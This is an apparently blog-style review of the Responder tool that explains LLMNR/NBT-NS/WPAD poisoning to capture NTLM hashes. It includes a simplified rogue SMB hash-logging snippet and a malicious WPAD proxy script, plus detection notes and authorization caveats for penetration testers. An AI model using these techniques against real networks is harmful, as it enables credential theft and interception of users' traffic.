Responder: Weaponizing Windows Name Resolution to Harvest Domain Credentials

Hook

Every few seconds, Windows machines broadcast their passwords to anyone listening—not as cleartext, but as LLMNR and NBT-NS queries that can be poisoned to capture authentication hashes. Responder turns these whispers into a credential goldmine.

Context

Modern Active Directory environments still carry the baggage of decades-old Windows networking protocols. When a Windows machine tries to resolve a hostname and DNS fails, it falls back to Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS)—legacy protocols from the Windows NT era that broadcast name resolution queries to the entire local network. These protocols have no authentication mechanism, meaning any machine can respond claiming to be the requested host.

This design flaw creates a persistent attack surface in corporate networks. When a user mistypes a file share path (like \fileserver1 instead of \fileserver), their machine broadcasts the query, and any attacker on the network can respond, "Yes, I'm fileserver1!" The victim's machine then attempts to authenticate to the attacker's rogue server, sending NTLM password hashes that can be cracked offline. Responder, developed by Laurent Gaffié and maintained by SpiderLabs (though now deprecated in favor of lgandx's fork), automates this entire attack chain with surgical precision. It's become the de facto standard tool for credential harvesting in penetration tests, exploiting the fundamental trust Windows places in local network responses.

Technical Insight

Responder's architecture is a masterclass in network protocol exploitation. At its core, it runs a multi-threaded Python application that simultaneously listens on multiple sockets for name resolution broadcasts (LLMNR on UDP 5355, NBT-NS on UDP 137, mDNS on UDP 5353) while also binding rogue authentication servers to standard service ports (SMB on TCP 445, HTTP on TCP 80, LDAP on TCP 389, and several others). When it intercepts a name query, it responds faster than legitimate servers, redirecting the victim to its fake authentication endpoints.

The most sophisticated component is the rogue SMB server implementation. When a Windows client connects to what it believes is a legitimate file share, Responder negotiates an NTLM authentication handshake. Here's a simplified view of how it captures the authentication:

# From Responder's SMB server implementation
class SMBSession:
    def handle_negotiate(self, data):
        # Parse SMB negotiate protocol request
        # Respond with NTLMSSP_NEGOTIATE, forcing NTLM auth
        challenge = os.urandom(8)  # Random 8-byte challenge
        self.ntlm_challenge = challenge
        return self.build_ntlm_challenge_packet(challenge)
    
    def handle_session_setup(self, data):
        # Extract NTLMSSP_AUTH response containing hash
        ntlm_response = self.parse_ntlm_auth(data)
        username = ntlm_response['username']
        domain = ntlm_response['domain']
        ntlm_hash = ntlm_response['response']
        
        # Log in John the Ripper format
        hash_string = f"{username}::{domain}:{self.ntlm_challenge.hex()}:"
        hash_string += f"{ntlm_hash[:16].hex()}:{ntlm_hash[16:].hex()}"
        self.write_log('SMB-NTLMv2-Client', hash_string)

The brilliance lies in Responder's ability to support multiple NTLM authentication schemes (NTLMv1, NTLMv2, LMv2) and gracefully downgrade to weaker protocols when possible. It sends a carefully crafted NTLMSSP_CHALLENGE packet that forces the client to reveal its authentication capabilities, then captures whatever hash format the client sends back. These hashes are logged in formats directly compatible with password cracking tools like Hashcat and John the Ripper.

Beyond passive poisoning, Responder includes a WPAD (Web Proxy Auto-Discovery) injection module that's particularly devastating. Many corporate networks have browsers configured with "Automatically detect settings," which causes them to query for a wpad.dat configuration file. Responder poisons these requests and serves a malicious proxy configuration:

# Malicious WPAD response
def serve_wpad(self):
    wpad_content = f'''function FindProxyForURL(url, host){{
        if (dnsDomainIs(host, ".target-corp.com"))
            return "PROXY {self.attacker_ip}:3128";
        return "DIRECT";
    }}'''
    return self.build_http_response(wpad_content)

Once the victim's browser uses this proxy configuration, Responder can intercept HTTP Basic authentication, inject HTML/JavaScript into responses, or capture additional credentials as users browse internal web applications.

The tool also implements an "Analyze Mode" (-A flag) that operates passively, logging all name resolution queries without poisoning responses. This lets penetration testers map out network services, identify frequently accessed shares, and understand authentication patterns before launching active attacks. The SQLite database backend (Responder.db) tracks all captured credentials with timestamps, allowing analysts to correlate attacks across multiple protocols and identify high-value targets.

One particularly clever feature is the fingerprinting logic that identifies NBT-NS name suffixes (like <20> for file sharing services, <00> for workstation names) to selectively poison only relevant queries. This reduces noise and avoids poisoning responses for domain controllers or critical infrastructure that might break legitimate services or trigger alerts.

Gotcha

The elephant in the room: this specific repository is deprecated and unmaintained. SpiderLabs stopped updating it years ago, and active development moved to Laurent Gaffié's personal repository at lgandx/Responder. If you're deploying this for actual engagements, you're using outdated code with known bugs and missing features. This isn't a minor inconvenience—it's a operational security risk when you're relying on tools that haven't received security patches.

Beyond the abandonment issue, Responder is inherently noisy and disruptive. Every poisoned response is a network event that competent blue teams will detect. Modern EDR solutions, network monitoring tools, and even Windows Defender can identify Responder's traffic patterns. The tool generates hundreds of log entries in Windows Event Logs (especially Event ID 4776 for NTLM authentication failures), and any organization running basic NetFlow analysis will see the unusual pattern of a single host responding to multiple name queries. You're not conducting a stealthy operation; you're setting off flares and hoping to grab credentials before someone notices. Additionally, misconfigured Responder deployments can break legitimate network services—if you poison responses for actual servers, users will connect to your fake services instead of real ones, causing widespread disruption and immediately alerting IT staff that something is wrong.

Verdict

Use if: You're conducting authorized penetration tests or red team exercises in Active Directory environments where you need to demonstrate the real-world risk of legacy name resolution protocols. Responder excels at quickly proving that network segmentation is inadequate and that passive credential monitoring isn't occurring. It's particularly valuable when you've gained initial network access but lack credentials—this tool turns any foothold into potential domain compromise within hours. Just make sure you're using the actively maintained lgandx/Responder fork instead of this deprecated SpiderLabs version. Skip if: You need stealthy, long-term persistence (Responder is loud and meant for time-boxed assessments), you're operating without explicit authorization (this is active attack traffic that's illegal without permission), you're working in environments with mature security monitoring (you'll be caught quickly), or you need Windows-native tooling (Responder requires Linux/OSX and conflicts with standard services). For those scenarios, consider Inveigh for Windows-based operations or focus on NTLM relay attacks with Impacket's ntlmrelayx instead of just hash capture.